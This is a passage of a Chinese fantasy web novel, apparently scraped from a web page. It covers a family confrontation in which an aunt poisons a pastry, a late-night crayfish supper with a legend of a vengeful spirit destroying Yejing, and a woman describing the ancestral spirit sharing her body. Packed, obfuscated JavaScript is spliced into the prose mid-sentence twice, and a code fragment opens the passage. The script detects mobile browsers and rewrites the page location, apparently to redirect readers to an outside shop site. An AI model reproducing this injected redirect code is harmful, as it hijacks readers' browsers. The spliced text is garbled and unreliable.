0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我?这和我又有什么关系呢?”王睦友诚实地回答。 “一般这种交流肯定都是线上沟通一下就好了吧。”他说,“应该是完全没有要见他们一面的必要?” “万一呢?” 孟襄问:“万一她问你要不要见一面呢?” “那我也没什么意见吧?毕竟是工作……” 王睦友好像意识到了些什么。他小心地看向孟襄:“怎么了?你是觉得……这样不太好?” “应该不至于不太好吧。”坐在他对面的年轻人回答道,“应该不至于。” 他的态度变化极其突然,连一向大大咧咧的裘诺都不禁打了个寒颤。 “啊,怎么一下感觉场面僵住了。”她乐观地说,“对面只是比较喜欢装饰自己的聊天框吧?虽然不是很职业,但应该不至于是骗子。” 她说:“毕竟那个心理医生可曾经是以太研讨会的成员啊!他总不会招点什么不好的人做助理吧!” 孟襄不置可否,却也没再说什么,只是安静地吃完了他碗里最后一口小馄饨。 他的缄默让王睦友很不适应,正想问问他是对自己有什么建议吗,就见孟襄把碗一放,拿餐巾纸擦了擦嘴。 “那也不一定。毕竟现在研讨会自己也焦头烂额。” 他说:“溶素泄露案,对他们来说可是个耻辱的事件啊。” 溶素这个名字真是莫名其妙的耳熟。王睦友皱着眉头想了一下,突然想起来这是季井仪曾说过的一种从以太研讨会里流出的违禁药品。他问:“你是说,因为以太研讨会里面也有这种会倒卖溶素配方来赚取私利的人存在,所以其实连研讨会都不是很靠谱?” “我可没这么说过,是你擅自这么理解的。”孟襄严肃地发表了免责声明,随后表情又一次放松下来,变回了之前懒散又愉快的样子。 “现在时间也差不多了,我也该回去想想江雪这稿该怎么写咯!” 他对王睦友和裘诺挥了挥手,算是告别,也算是话题中止的示意。 见对方完全就是下定心思要走人的样子,王睦友也不好强行挽留,就也对对方挥挥手,表示自己也该去上班了。 他说:“行,那我们就都各自努力工作去吧。等我们过两天有缘再见了。” 他们就这样别过了。但是王睦友没想到的是,他和孟襄的缘分居然来得这么快。 在第二天早上凌晨一点,王睦友就被迫睡眼惺忪地接待了穿着睡衣,抱着包,一脸惊恐地喊着“我家有蟑螂啊!救命啊!”冲进吉老爷子家的孟襄。 33. 没有人想和不熟的亲戚打交道 当最后一只小蒸笼被放上桌时,商管侍正好踩着点,将他的两位雇主带到了茶室。 这种分秒不差的配合从理论上来说是几乎不可能的,但在商管侍身上却是顺理成章的。 因为在他招待自己的雇主的同时,另一位正在布置茶点的侍者也是他自己。 季井仪在桌边坐下,大落地玻璃窗外是晚夏下午,于金黄烈日下波光粼粼的璀璨邺江。她从回国后就独居在位于邺江江畔的平层公寓里,几乎每天都能看到在各种天气、各种时段下的邺江,可这并不影响她每次都会为它惊叹。 她情不自禁地说:“真是令人难以置信啊……大自然的造物。” 在她对面慢慢坐下的女性从商管侍手里接过擦手的毛巾,却明显会错了她的意。 “是啊,以太人类。”她说,“谁能想到会有商管侍这种生物呢?明明只是一个意识,却可以同时操纵完全一模一样的八具身体。” 侍奉在她们桌边的两个商管侍几乎是同时对那位女性欠了欠身。 "您过誉了,五太太。"他们异口同声地说。 被称为五太太的女性穿着一身浅米色的套装,在颈部与耳部佩有镶嵌着珍珠的金线编蕾丝作为装饰。她大概三十出头,看人的目光沉静又疏离,即便是目前作为她"亲属"的季井仪都时常会觉得对方打量自己的眼神与她给予一盆兰花的眼神别无二致。 “……我是说景色,陆伯母。”她干巴巴地纠正,顺便看了一眼站在一边的商管侍,“我不太喜欢这种用数字称呼人的方法,不知道您怎么想。” “他们职责所致而已。”陆伯母心不在焉地说,她接过盖着盖碗的茶杯,自顾自地抿了一口,“说不上什么喜欢不喜欢的。” 季井仪知道自己的这位同样出身大家族的伯母估计是早就习惯这些事了,便也再不自讨没趣,把视线移向了窗外,并且在商管侍揭开一个个小蒸笼的盖子时,夹了一只玉兰形状的白色糯米点心进小碟。 她用筷子戳破了糯米点心的皮,扒拉出藏在里面的深红内陷,忍不住皱起了眉头,而陆伯母也只是看着窗外,双手捧着茶杯,像一尊形态优美的女性雕塑,完全没注意到季井仪的任何动作。 或者说得更确切一点,就是单纯对季井仪所做的一切都不上心。 她们的关系本来就有些尴尬,再叠上这两天季井仪的小动作,便更是让人不知道该从哪里开始拉家常了。 与季家不同,陆家是完美符合世人对世家印象的大族,儿女众多,承袭了祖传的仙法,在研讨会内部牢牢占据了一席之地。季井仪早逝的母亲也是陆家的女儿,正是她眼前这位“陆伯母”的表姐。 她们现在都等待对方先打破这微妙的平衡。 季井仪在心里叹了口气,决定由作为小辈的自己先表达态度。 “中元节快到了呢。”她擦了擦手,问商管侍,“所以这个糯米点心是丹饺?” 在获得了肯定的回答后,她小小哼了一声:“这都不再是红色的了,还叫''丹''饺?这是不是有点自欺欺人了?” 她本意是由这颜色并不怎么''丹''的中元节传统点心做引子,一路带到“不在邺京的这几年里,中元节变了多少”这一安全话题上,她的伯母却在商管侍例行公事且毫无诚意地道歉里置若罔闻,啜饮着茶水。 好吧,看起来自己这主动上门的伯母并没有任何与自己聊天的意思。 看起来陆伯母是想直入主题。 季井仪把白色的丹饺扔进嘴,试图让糯米的饼皮和玫瑰花味的内陷化成一滩浆糊,彻底黏住自己的上下两半嘴,也算是有名正言顺不聊天的理由了。 现在又不是封建年代了,这种本来就没什么感情基础的丈夫死了后,就要弄得好像自己也心死了的表演真的有必要吗。她闷闷地想。 陆伯母说:“又是中元节了,一年一年的真快啊。”她看向季井仪,“可惜,今年尤其是个多事之秋啊。” 季井仪没想到她会自己主动提起这个话题,一时有些茫然。 “中元节是需要纪念一下已逝的亲人。”她谨慎地说,“陆伯母,您怎么打算?是回陆家吗?” 陆伯母看了她一眼,季井仪的脊背下意识就挺直了。而可能因为她动作做得太快,她一下感到肋骨处有了一丝撕裂的闷痛感。 陆伯母的本名是陆铭。她在嫁给季井仪早逝的五叔叔季尚前,曾是一位前途无量的舞剧演员。甚至在季井仪小时候闲来没事检索家中成员时,还总能看到有人为她感到遗憾,说她在事业上升期就结婚隐退。 而让她舍弃事业的病鬼丈夫季尚却在他们结婚两年后就一命呜呼,留下她和襁褓里的季剡注做了孤儿寡母。 当然这在现代社会也不是什么大事,没有人会强迫一个女人为死人守寡。可陆铭在那之后却没有任何复出的打算,反而是一门心思全都扑在了儿子季剡注身上。这让所有熟悉她的人,甚至是和她仅仅是相处时间长一些的季井仪都感到无比诧异。 她记得在季尚叔叔的葬礼上,她的父亲作为家里掌权的人主持着仪式,她和大哥季白矢站在一起,突然听见身后不知道谁嗤笑一声。 “陆铭这下是解脱了。”有人小声地说。 “真是铁石心肠的女人。一滴泪都没流,即便装都不想装一下。” 她顺着声音转过头,只看到一身白衣的陆铭在人群中神色淡漠地看向前方,像用铁浇出来的白鹤。 这样的人最后还是留在了季家,并没有离开这支她没有半分留恋的家系。 “虽然我的丈夫已经逝世了,但我还有剡注在身边,这样就够了。” 陆铭答非所问,态度却坦率又淡然,好像季井仪问的就是这个一样。 “我是个很传统的人,家庭永远是我心里第一位的。” “哪怕季尚叔叔已经过世那么多年了?” 陆铭歪着头看她,耳朵上的珍珠耳坠软软地搭了下来。这个动作让她稍微有了一点符合她年纪的生命力。 “我还有剡注在身边,这样就够了。”她重复道,浅棕色的眼珠和她耳饰上的珍珠在阳光下反射出薄雾般的光,“孩子是希望的延续……不管是谁的希望。” 季井仪心里一阵发麻。她不喜欢这种两方都揣着明白装糊涂的对话,于是烦躁地抬起手:“您的意思就是说,您要一心扑在我那个刚刚上小学的弟弟身上?啊,那倒也不错,我没记错的话,季家继承者的选定应该很快就会结束了,您的职责也要到头了。” 她这话说得有点破罐子破摔,连一向无比专业,几乎不在工作时间表露个人情绪的商管侍都向她投来了惊异的目光。 陆铭却笑了。 那是礼貌又标准的笑容,就像她面对的是难缠至极的记者,而不是自己的侄女一样。 “我不知道你怎么看季家,”她小小地喝了口茶,“但我觉得,这里真的是个不错的地方。和我所出身的家族不同,你们似乎不爱论资排辈,对继承者除了''合适''以外也没有其他的要求……” 季井仪一手托着下巴,发出一声心不在焉的嗯声。 陆铭看向她:“你没必要那么警惕,我直说了吧,你没必要为你的小动作而感到不安。” 她问:“你在背地里调查溶素泄露案?” 季井仪抿了抿嘴,虎牙几乎刺进了下唇。 她的胸口发闷,有些想吐。 是的,这就是她哪怕冒着被革职的风险,都要把江雪交给研讨会的原因。 邺京交通医院的袭击事件已经足够让她警觉:持有研讨会权限的人篡改了邺京公安部门的资料库,要不是王睦友运气好触发了符文,估计就要酿成惨剧。而除开这种对于邺京秩序的正面冲击,从以太研讨会里流出的用于逆转以太化的违禁药物“溶素”又在邺京的黑市里大行其道,形成又一股暗流。 虽然没有任何证据可以证明这两件事情间有着必然的联系,可无论这些小动作是研讨会授意的,还是研讨会内部出现了问题,都是足够让控制着邺京的季家警惕的了。 于是她便用疑似服用了溶素的江雪作为投石问路的那颗石子,想以此试出研讨会的态度。 可这边前脚江雪刚回家,后脚与研讨会有着深厚联系的陆铭就找上了门。 这可不是什么好兆头。她想。 陆铭突然露出了一个堪称真挚的笑容。 她问:“我想你是不想参与家里的争斗的,对吧?” “这可不一定。”季井仪说,自己都觉得自己的声音干巴巴的,“可能我只是在韬光养晦,不把我的野心表露出来而已……” “那你就不会选择去做……那个,叫什么来着……” 陆铭稍微沉思了一下,她明显对于这些名词不太熟悉。 “片警?是这么说吗?”她探究地抬起头,但很快就不再纠结在这个无伤大雅的问题上。 她轻轻叹了口气,语重心长:“我们现在毕竟是家人,之前我听说你的想法,就有点不赞同。当然,我尊重每个人实现自己价值的方法,可是公安系统?你认真的吗?现在的公安系统就是一个即将破开的茧。你在那里面工作了一段时间了,应该比我更加了解以太研讨会对它的冲击……你真的只是想要这个吗?” 她迎着光抬起手,好像能够抓住细纱一样的阳光。 “你可以随意的就得到更多东西的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265405|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,毕竟这里是邺京,对吧?” “陆家,在研讨会里,我没记错的话,是稳稳有一席之地的吧?”季井仪突然问。 陆铭没说话,只是看着她。 “某种意义上来说,”季井仪继续说道,“您在季家所说的话,也就代表着一种来自研讨会的声音。” “不,”陆铭说,“我只代表我自己。” 她们无声地对峙着。季井仪的胸闷越来越严重了。 但是没想到是陆铭先松了口。 “但是有一点你说对了。”她说,“我了解研讨会的作风。你应该记得季云门先生吧?” “季云门,我的伯祖父,舆华以太研讨会最早的成员之一。”季井仪轻声说。 “但他已经不属于季家了。我知道,他似乎在之前以太协会里出现技术泄露丑闻的时候被牵连了……” “他需要被牵连。”陆铭说道。 “就我对那一侧的认识来说,他们不会希望有新的世家再坐上决策桌。所以……” 她做了个拉上拉链的手势,动作流畅又优美。季井仪看懂了她的暗示。 拉上拉链,不要再去妄想与盘踞在研讨会的世家平等议事的机会。她想。 但真的如此吗? 失去了仙法的季家如果真的落魄至此,那为什么研讨会要这么迂回,才能为邺京施加影响呢? “井仪,我一直觉得你是一个好孩子。”陆铭说。 “你可以选择的,让自己幸福的道路那么多。为什么要为了季家而活动呢?” 季井仪抿了抿嘴。 她说:“我觉得我们有同样的理由。” 陆铭则摇了摇头。 “不,”她说,“我们的理由不一样。” 她继续说道:“如果你能够理解我这么做的理由,那你就不会因为那么点事情逃离季家那么多年。” 季井仪倒吸了一口凉气。不知道是不是因为气进的过急,她的胸口痛得更厉害了。 “那么点事?”她问,“陆伯母,难道您知道……” “你的父亲季左和你的二伯季春秋之间的争斗可是备受瞩目。” 陆铭垂下眼,自嘲地说:“这在你们季家不是很正常的事情吗?即便是远远观望着的我们也早就习惯了。” 她问:“但很快这就不再是什么遥远的事情了。季家必须在今年决定下一任的继承人了。在这样的争夺里,井仪你又打算做些什么呢?” “我不会做这样的事情的。”季井仪断然拒绝,“如果只有同室操戈里的胜者才能继承季家……” 她用力呼吸,心口的压迫感却越来越强。 “那我宁愿什么都不要。”她说。 “真是有魄力。”陆铭评价道,不知道是否在反讽,但在那面相刻薄的脸上也终于露出了一个笑模样,“希望你说出的是肺腑之言。” 季井仪死死地盯着她。 “我从不说谎。”她说。 “我所做的一切都只是为了季家……为了我的家人。” 陆铭笑了起来。 她抬手看了一眼手腕上更多用作装饰的时装表,云淡风轻。 “我这边时间差不多了,该去接剡注了。”她说。 她站起身,侍立在桌边的一个商管侍便走上去,为她披上外衣,跟随她离开了茶室。 她在等待电梯的时间里补了刚才因为饮茶而擦掉的口红,然后转过头对出来送客的季井仪笑。 “你的脸色很不好。”她说,“要不要先去休息一下,不用送我了。” “应该的。”季井仪说,“这是礼节。” “你的父亲把你教育得很好呢。” 陆铭理了下头发。 “真好。”她说,“希望剡注也能有这样的礼节。” 电梯很快就来了,守候在她身边的那个商管侍率先走了进去,安静地等待自己的雇主。 陆铭却没有立刻进去。她对季井仪身边的那个商管侍点点头,看到他走开后,才转身走进电梯。 “但,从我个人的角度来说,还是请你去休息吧。” 她说:“我还是挺喜欢你这个侄女的,只要你不再像一只好奇心过重的小狗那样到处嗅闻的话。” 她袅娜的身影彻底消失在了合上的镜面大门后。 也就是在同时。就像是四十分钟前商管侍将她们带进茶室里那样,他几乎是分毫不差地出现在了季井仪身后。手中的托盘上放着一小杯水和一小包药粉。 他迎着季井仪困惑的目光,毕恭毕敬地说:“请用五太太留下的解毒剂吧,三小姐。再迟一点的话,她下在点心里的药就该发作了。” 34. 和夏日宵夜最配的是什么? 这世界上自来熟的人可真多。王睦友忍不住想。 而且最巧的是,他们可能还都集中在了光辛街道。 现在已经是深夜三点了。他之前是被急促的门铃声吵醒,才勉强爬出被窝去开的门——本来他就睡眼惺忪,是但凡脑袋能挨着个软乎的东西就能睡过去的国家一级瞌睡选手,更别说已经被迫多熬夜了两个小时的现在了。 但说去睡吧,他现在又睡不着。且不说他的床被一个不速之客带着一个小桌板霸占了,躺不了。桌上小龙虾刺激的调料味还一阵一阵地往他鼻子里钻,就像是黑心包工头拿着小皮鞭不断往他的神经上抽,一直抽到饥饿和来自舌头的痛感让他强行打起精神,再熟练地扒掉又一个虾头,把弹弹的虾肉混着鲜香麻辣的佐料一起往嘴里塞。 孟襄看起来也没好到哪里去。他嗜辣,可惜不是特别能吃辣,点外卖时又明显对于商家的手艺没什么了解,闭眼就瞎点了个标着【新客慎点!】的地狱辣,现在只能被辣到和王睦友坐在桌子两边对着缩脖子。 “嘶……小龙虾真辣啊。”他吐着舌头,熟练地消解掉手套,用干净的手去拿一起订来的汽水,“但料还是香的。来来来,你别也客气,再吃点再吃点!” 这么说着,他手上倒是拢了快十只小龙虾到自己这边,只给王睦友留下了可怜巴巴的两三只。 可王睦友也不惯着他。他先是从孟襄那里拣回来几只大的,就一边哈气,一边解除了手上的手套,挪了挪堆在沙发床上的空调被,以防它被麻辣小龙虾的汤汁误伤。 “嗨,”他大口大口地喘着气,口腔里不住往外泛着口水,连说话都困难了起来。他边吸溜哈喇子边说:“你也是……挺客气的。嘶,大晚上拎着小龙虾来别人家。”他听到孟襄问他要芦荟酸奶还是茶还是汽水,果断每样都要了一瓶。 他刚接饮料,就听孟襄说:“哪里的话!我挨家挨户敲门,结果就你给我开门了。这我不得感谢一下你?不然我就得流落街头了?来来来,这儿还有冰镇的,换点口味吧。” 可别了吧,王睦友心想。你这人怎么看都是黄鼠狼给鸡拜年的主,莫名其妙地大晚上来访(还买了价格不菲的小龙虾),一看就是有事情。 于是他也客气道:“诶好好好,让你破费了。不过话说回来,你大晚上的到处敲门干嘛啊?总不能是闲的没事想请人吃夜宵吧?” 孟襄刚掰开一只小龙虾,现在正在幸福地嘬虾脑,还抽空嗦了一口自己无名指上沾着的鲜红色料汁:“我不说了嘛,蟑螂。” “蟑螂?” “对,大蟑螂。” 他把虾肉塞嘴里,又拿了个小龙虾比划了一下:“这么大。差不多有个拉直了的小龙虾这么大。后面还带着三四个龙虾头这么大的小蟑螂。” 王睦友喝着酸奶困惑了。他问:“这不是很常见吗?你不会是因为家里发现有蟑螂了就跑出来了吧?” 可能由于他的语气过于理所当然,这下轮到孟襄坐不住了。 他因为出了太多汗而摘了之前一直戴着的黑框眼镜,此时一双黑白分明的眼睛里写满了不可置信。他左手拿着龙虾尾,右手捏着刚拧下来的龙虾头,一转手就又把它们接回去了。 他拿小龙虾计划着,再次强调:“这么大的大蟑螂。” “是啊。这么大的大蟑螂。” 王睦友结束了中场休息,他也拿了只小龙虾比划说:“这么大的大蟑螂。”又把小龙虾的脑袋拧下来,“还有三只这么大的小蟑螂。我没理解错啊?” “那你怎么不害怕啊!” “蟑螂不都这么大吗!” 他们两个对视了一会,在发现无法达成一致之后,便不约而同地放弃说服对方这么大的蟑螂很(不)可怕了。 “一般遇到这种事,”王睦友拿走了最后一只麻辣小龙虾,“就去买蟑螂药啊?放一放,过几天就能连窝把它们端了。” “诶呀,谁能想到邺京的蟑螂那么吓人。”孟襄咂咂嘴,似乎还在回味号称邺京独一份的地狱辣小龙虾的滋味,转过身打开了第二份还冒着凉气的打包盒。 “锭平那边的蟑螂基本就都指甲盖大。邺京的怕不是变异了。我看到就头皮发麻……诶,要不你下次帮我去除下蟑螂呗?” “可以啊。不过我真的觉得这蟑螂体型挺正常的。” 王睦友找了两瓶无糖绿茶出来,还贴心地帮孟襄打开了瓶盖,“我家,椋州那边的蟑螂也差不多这个大小。南方的都这么大吧?” 他突然反应回来了,问:“你是锭平人?听口音,我还以为你会是邺京人呢?明明各种吐字都很像这边的本地人……” “诶,就不能是我比较有语言天赋吗?再者锭平那边也没什么口音,不都是标准语吗?” 王睦友恍然大悟:“哦!也是,那边人都是标准语。” 他低下头接着扒小龙虾,突然一下发现不对劲了。 “锭平的?那你怎么会想到来邺京?” 他说:“虽然是一个水平的城市,但是从其他角度上来说,比如你是锭平本地人,估计也不用租房,可以省很大一笔开销……” 他不等孟襄回答,就自顾自地数了起来:“而且舆华的以太研讨会的总部就在锭平,那些和新科技相关的大型企业也就很多。就算不是以太学出身,在那里机会也不会少。为什么要来邺京?” 孟襄熟练地拆开小龙虾的壳。 “你说得对。”他说, “但,我的梦想始终还是在邺京的。” 王睦友也打开了一只小龙虾。冰镇小龙虾是多少参考了一点糟醉的做法,他这刚把龙虾头拧下来,一股浓烈的酒味就直往他鼻子里顶。深夜的夜宵本来就是拉进关系的最快手段之一,王睦友也就卸下了心里的防备,直言不讳。 “可是你想做自媒体的话,反正是家里蹲,在锭平不也可以吗?追梦干嘛来邺京?” “诶,那不一样。我是被邺京的文化和历史所吸引的。” “邺京的文化历史?”王睦友抽抽鼻子,似乎有些不解。 “那锭平更是吧?”他说,“舆华有哪个城市敢和锭平拼作为古都的资历啊。” 孟襄摇摇头,一副孺子不可教也的样子。 “那肯定是有差别的。”他说 “虽然都是古都,但是邺京这种背山靠水的地势让它的传说别具一番风味啊。所谓月黑风高夜,杀人放火天,热烈烈邺江起恶火,寂幽幽燕红生魂灵……” “停停停!”王睦友赶紧叫停。他抖了一下,吃虾的动作倒还是没停下:“怎么就月黑风高夜,杀人放火天了?怎么连恶灵都出来了?这里是邺京,不是地府!” 但他想想之前遇到的那些怪事,还是不确定地补了一句:“大概……吧。” 他回想起列车上那个年轻男人的身影,还有裘诺那一条花臂,怎么想都不觉得这是可以用科学解释的东西。 算了。他最后自暴自弃地想。 我学的符文还是号称以太学无法解释的仙法呢。要说不科学,我这人也不怎么科学。 “这就是民间传说的有趣之处了。”孟襄向他靠了靠。 “历史课上都说过吧?舆华有很长的一段时间里都处于群雄割据的状态,史称廿代之乱。那段时间各地史料经常互相矛盾,被毁掉的也不在少数。” 他消解掉手套,往沙发床的扶手上一靠,幸福地拍了拍有点鼓起来的肚子:“邺京就是在那个记载不全的年代突然发家的神奇城市,之后北方发家的大一统王朝簌朝更是在战乱刚结束后就急匆匆地把自己的政治中心火速移到了南方,把邺京作为都城。” 吃虾群众王睦友摇了摇头,还顺手又从盒里捞了个小龙虾出来。 “那有什么特别的吗?”他诚实地表达了自己的观点。 “肯定有啊!”孟襄拿着瓶装绿茶喝了一口,神情缓和得像在说他还能再吃五只小龙虾一样。 “事实上,根本没有哪部可靠的史料记载过邺京的建城史。”他说。 “少有的文字记载也和神啊鬼啊之类的脱不开干系。甚至在簌朝自己修的官方史料里,也写过在把一开始叫章顺府的邺京改建成都城时遇到的许多灵异事件,以及他们更灵异的处理方法。这和流传在邺京地区的一些民间传说还有习俗都不谋而合……这还不够刺激吗?” 他一拍桌子:“这说明,在邺京可能真的存在着没法用现存的以太学解释的鬼魂啊!” 王睦友心虚地移开了视线。 虽然不一定是你想找的传说里的,可邺京确实有鬼魂存在。你还见过他,而且你不仅见过他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王睦友手停了。他刚把龙虾肉送进嘴里,下意识地看了看自己留在桌上的虾壳,一数正好五件,脑瓜子超负荷运转,直接愣在了当场。 “然后啊,这个小皇子就被追封为顺王。邺京著名景点顺王府就是这样……诶!你去哪儿?!” 回答他的只有从厕所传来的呕吐声和水声。 “你一定是故意的!”王睦友出来后抹着脸上的清水骂,“哪有在吃虾的时候说这种话题的啊!” 还描述得那么绘声绘色!他愤恨地想。 孟襄则很无辜。 “是你让我说的啊。”他说,“既然都说了,那当然是越到位越好咯?” 他宽慰地拍拍王睦友:“更何况我让你吐了能有什么好处呢?反倒是花钱买了这些小龙虾的我因为小龙虾不能转化为人体内的脂肪和蛋白质,所以亏了钱吧!” 王睦友对这神奇的逻辑无语,孟襄却一下兴奋了起来。 “到这里都只是被正史记载的部分。”他说,“但是遗留在民间传说的部分才是更精彩的。” 王睦友开了瓶无糖绿茶,边喝边用目光示意对方说下去。 “反正我都吐空了。”他有气无力地说,“你直说吧。” 孟襄笑了一下。 “可惜啊。”他说。 “城是建起来了,但用人牲镇压恶灵终究不是长久之计。据说被献祭的小皇子的怨灵反倒与恶灵本体融合在了一起,成为了比原来的那个还要凶恶的恶灵。” “这不废话嘛。”王睦友评论道,“人家皇子当得好好的,突然就被当了祭品了。换谁都不舒服啊。” 这个评价赢得了孟襄的高度赞同。 他点点头,继续说道: “所以呀,这个超级加强版的恶灵就不断地寻找着适合他们附身的胎儿,一旦附上就会立刻夺舍,再通过分娩这一行为复活。最后……” 他露出个意味深长的笑脸:“他就要复仇啦。” “复……复仇?” 王睦友一激灵。 “向谁啊?”他问。 “这不是一目了然嘛。”孟襄回答。 “待到深埋于城下的恶灵复还之时,深红的火会将整座城池付之一炬,直到邺江干涸,燕红山倾塌。再然后……” 他的语气一下轻快了起来:“邺京城里,就一个人都活不了啦。” 35. 八卦应该小声聊 裘诺是个心大又直率的姑娘,但与此同时她也是个行事老练的饭店老板娘。她年纪不大,不过归功于从初中就开始帮忙打理饭店的丰富经验,在被迫独当一面的这几年间,遇到的让她感到浑身不适,无从下手的事情两只手就能数过来。 所以在听到王睦友磕磕巴巴地讲起孟襄告诉他的邺京鬼故事时,她只是对此付之一笑,双手一扣,一个淡红色的小圆子就从手里滚了出来。 “就这个故事啊?”她说,“那我还要补充一点呢。喏。” 她指了下在懒懒地躺在平盘里的那一堆红色小圆子。 “这些小点心叫丹饺,”她说,“就是你说的那个传说里小皇子的骨灰球……诶诶诶!你别吐啊!别扣喉咙!浪费啊!我瞎说的你别当真……” “这是能乱开玩笑的事情嘛!”王睦友愤怒地从垃圾桶上抬起头。 “怎么不是呢!诶不是!我的意思是……” 裘诺拍了拍手,把手上白色的糕粉拍落了一点。 “在邺京长大的小孩都对这个故事倒背如流啊!”她说,“天天都说邺京有恶灵要向城市复仇,可这不也安安稳稳几百年过去了嘛!” 她又拿起一片刚刚被压扁的米团,熟练地往里包了块淡黄色的馅料。 “亏你今天刚来就一副天要塌了的样子,我还以为你有什么要投诉我的小饭店的呢!结果就是和我说了个从小到大听得耳朵起茧的故事……可不就是这么个事嘛!” 王睦友看着她的眼神像在看外星人。 “为什么你能这么理直气壮啊?”他惊呼,“明明你身上发生的事情也很不科学吧!” “哪里不科学了!”裘诺反驳。 她埋头把刚搓出来的那几个小圆子分别摁进了花朵形状的模具:“婶婶说,在我小时候以太研讨会还专门来评估过我的情况呢!” “那结果呢?” “当然是没问题啊?”裘诺一脸莫名其妙。 “要是有风险的话,”她说,“我早被抓进去了,也不用这么天天起早贪黑地经营饭店。诶,说起来,这几个馅味道怎么样?” 她目光炯炯地盯着王睦友手里的饭碗。 王睦友低头看了看在自己碗里的那几个花型小点心,这才想起来自己身上还有任务呢,便赶紧又吃了几口,然后敷衍地说好吃。 裘诺露出了不满的神色。 “只是一般好吃的话,我可怎么赢外面那些店啊!”她苦恼地揉了揉太阳穴,一小团白色的糕粉便趁机粘在了她的发梢上。 “难得今年中元节大办特办,这可是做生意的好时候……” “我觉得还不错了。”王睦友心虚地说,又啃了一口丹饺来掩盖自己的敷衍。 “唉,你是不知道生意多难做。现在小饭店不好活啊……诶对,说起来,馗先生虽然还挺安静的,但他也给我带来了不少麻烦事呢,饭店经营方面的。” “比如呢?”王睦友嚼着黏糊糊的丹饺问。 “喏,你看,我不是一直穿着长袖吗?就算今天这么热我也还是得穿着。” 裘诺向王睦友展示了一下自己的防晒服。今天的气温已经逼近四十度,艳阳高悬、万里无云,无疑是极能代表邺京苦夏的一天。在这个不论男女都不约而同地选择了背心大裤衩的日子里,裘诺却还套着个半透明的防晒服,那爬了她半个上半身的荷花纹身现在看着就像是防晒服上的印花了。 “我毕竟是做生意的,你想啊,你要是进了个饭店,一看老板娘纹着一胳膊花,你会不会觉得这家店不能长待?” 王睦友连连点头,心说刚来邺京的头一晚我就是这么被你吓到的。 他和裘诺无疑想到一处去了。裘诺颇为无奈地抬起一只沾满了糕粉的手,扬起了一小片白雾。 “对吧。”她说,“你当时不就是看了那一大片花才听话了的吗?” 她叹了口气,郁闷地低下头磕了磕模具,就有几颗花型的点心落在桌面上。 “现在还算好了。”她说,“我上学那会儿才是要斗智斗勇啊!万一被老师抓了,就会被扭送去洗纹身,可这个又是洗不掉的……” “洗不掉的?”王睦友不动声色地放下了饭碗,还把它往旁边挪了挪。 他打了个嗝,像是为了掩饰自己的行动那样说道:“话又说回来了,你怎么会纹这种东西啊?怎么看你都不像是会纹身的类型……” 丹饺作为一个糯米做的小点心,一般人吃七八个就差不多该饱了。可怜王睦友被裘诺抓着试新口味的馅料,短短一个小时里已经有十多个糯米点心下肚,现在只觉得这些软糯糯的皮在肚子里不断膨胀,要把他撑成个气球。 可那边裘诺还有五六个口味的馅没包呢,看得王睦友是眼前一黑,想着一定得找借口不再吃了。 “它是天生的,说是胎记更合适吧。”裘诺抬了抬左胳膊,红色的花纹便在防晒服里更明显了。 “这是你们家老祖宗馗先生护身的标志。”她说,“至少婶婶是这么说的。” 正在藏碗的王睦友手一抖差点把碗掉地上。 “都这样了你还说自己的状态很科学!”他震惊道,“到底哪家科学能支持这种古代意识寄宿在现代身体的奇怪学说啊!” “以太学啊。”裘诺毫不犹豫地回答。 “还是那句话,研讨会都觉得没问题,那应该从以太学角度上来说就是没问题吧。”她说,“现在还有谁会比以太研讨会更懂科学吗?” 那好像还真没了。 王睦友迟缓地点了点头,随即继续起自己的藏碗大业。 但这可是太怪了。他想。 还真给我遇到意识融合了,还是超越时空的融合。 这么想,可能那个什么邺京恶灵传说里两个灵魂合二为一的描述也没那么离谱了…… 他这边还想着些有的没的,那边裘诺倒是突然醒悟了。 她发出拖长的一声“哦~”,一语道出了王睦友最初的动机:“我懂了!小王,你是不是担心那个邺京城会被恶灵灭掉的传说是真的啊?既然已经存在了馗先生这样的灵魂,那也就不排除存在类 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裘诺放下了手里的丹饺半成品。一些米皮粘在她的左手上,与她沾满了糕粉的右手形成鲜明的对比。 她抬起左手:“就是比如,馗先生在门的这边,他手里握着门把手。”随后抬起右手,与淡红色的左手相对。 “我在门的那一边,处理着门外发生的所有事情。馗先生在门后关注着外面的动向,大多数时候隔着门与我交流。而当情况需要时,他会推门而出,处理那些他认为需要自己亲自处理的事情。” “那你呢?” “我就被换回门后啦,还没有开锁的办法。”裘诺挥挥手,又回归了工作岗位,低头整理起了新的米皮。 “但就像栅栏门这个比喻一样。将我们隔开的门并不是密不透风的。即便我们看不到对方,可是总有一些东西,会顺着风、流动的空气透过栅栏门当中的空隙传达到我这里。” 她说:“在那些传递过来的感情之中,最明显的就是对邺京的感情。馗先生深爱着邺京这座城市,他不会允许任何人破坏这里,也不会接受任何人试图控制这里。” 她停止了叙述,抿起嘴,用力扯断了手下柔韧的米团子,深红色的荷花纹在她抬手的一瞬间从袖子下滑出些许,像一团火焰吞噬着她的皮肤。 “如果真的存在那样的对手……”她盯着手中的小剂子,低声说。 “那他一定会战胜对方的,无论代价是什么。” 王睦友止住了呼吸。 “真的很难想象。”他评论道,“像馗先生那样的人,居然会有这样激烈的情感……” 他话音未落,光辛饭店门口就响起了门被推开的声响。伴随着热气一起飘进来的,还有一个耳熟的声音。 “馗先生?真是好奇怪的称呼。” 季井仪皱着眉头思考着这个名字。 “怎么听,”她说,“都不像是一个普通人会有的名字啊。” 36. 广结缘方可开财源 